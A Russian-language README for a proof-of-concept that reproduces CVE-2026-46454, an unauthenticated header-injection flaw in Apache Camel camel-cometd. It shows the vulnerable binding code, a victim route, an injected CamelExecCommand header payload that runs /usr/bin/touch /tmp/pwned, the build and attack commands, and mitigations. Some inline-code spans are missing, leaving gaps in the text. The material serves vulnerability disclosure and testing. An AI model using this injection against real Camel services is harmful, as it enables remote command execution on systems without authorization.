
Репродуктор для CVE-2026-46454 — Apache Camel camel-cometd: инъекция заголовков Bayeux во входящих сообщениях (неаутентифицированная инъекция управляющих заголовков Camel → перенаправление downstream-производителя / RCE)
Этот проект демонстрирует инъекцию заголовков сообщений в компоненте Apache Camel camel-cometd, отслеживаемую как
CVE-2026-46454. Компонент сопоставляет входящие заголовки сообщений Bayeux (CometD) с обменом Camel Exchange без
HeaderFilterStrategy. Метод CometdBinding.createCamelMessage копирует всю карту ext.CamelHeaders, предоставленную
клиентом CometD, напрямую в сообщение Camel (message.setHeaders(...)), поэтому принимается без изменений любое имя заголовка —
включая внутренние управляющие заголовки Camel, такие как CamelHttpUri, CamelFileName, CamelJmsDestinationName (или, как
здесь, управляющие заголовки ). Поскольку компонент по умолчанию , любой клиент, способный завершить рукопожатие Bayeux, может опубликовать такое сообщение
и управлять нижестоящими производителями в маршруте.
camel-execCometdComponentSecurityPolicyКонсультация: https://camel.apache.org/security/CVE-2026-46454.html
| Свойство | Значение |
|---|---|
| Компонент | camel-cometd |
| Затронутый класс | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: Improper Input Validation |
| Воздействие | Неаутентифицированная инъекция управляющих заголовков Camel → управление нижестоящими производителями (здесь RCE через exec) |
| Затронутые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| Автор отчёта | Yu Bao (PayPal) |
То же семейство инъекций заголовков, что и CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 и CVE-2026-47323 — компоненты, сопоставляющие входящие заголовки с Exchange без фильтрации пространства имён
Camel.
// CometdBinding.createCamelMessage(...) - affected 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders
if (headers != null) {
message.setHeaders(headers); // <-- no HeaderFilterStrategy
}
Клиент управляет ext.CamelHeaders, поэтому он может установить любой управляющий заголовок Camel в Exchange.
Исправление (4.14.8 / 4.18.3 / 4.21.0) реализует HeaderFilterStrategy (давний TODO в коде), который
фильтрует пространство имён Camel* / camel* без учёта регистра при входящем сопоставлении.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // route author only intends to run: echo hello
Атакующий публикует сообщение в /service/inject с ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }; привязка сопоставляет их с Exchange, и производитель exec
выполняет команду атакующего вместо ожидаемой.
Автономный: потребитель camel-cometd запускает встроенный сервер Bayeux (порт 8088) внутри приложения, а
конечная точка /exploit/attack выступает в роли неаутентифицированного клиента CometD.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
Любой маршрут с потребителем camel-cometd, ведущим к нижестоящему производителю, чьё поведение управляется заголовками
Camel — HTTP-производитель (CamelHttpUri), файловый производитель (CamelFileName), JMS-производитель
(CamelJmsDestinationName), производитель exec (CamelExecCommand*) и т. д. Любой клиент, способный выполнить рукопожатие с
конечной точкой Bayeux, может внедрить их; по умолчанию аутентификация не требуется. Внедрённые заголовки сохраняются
при внутренних переходах через direct, seda и vm.
SecurityPolicy в CometdComponent (по умолчанию), поэтому любой клиент может публиковать сообщения.Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23507), в которых добавлен HeaderFilterStrategy в привязку cometd,
блокирующий предоставляемые клиентом заголовки Camel* / camel* при входящем сопоставлении.
До обновления:
.removeHeaders("Camel*") и .removeHeaders("camel*").SecurityPolicy в CometdComponent, чтобы только аутентифицированные клиенты могли
публиковать сообщения.Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.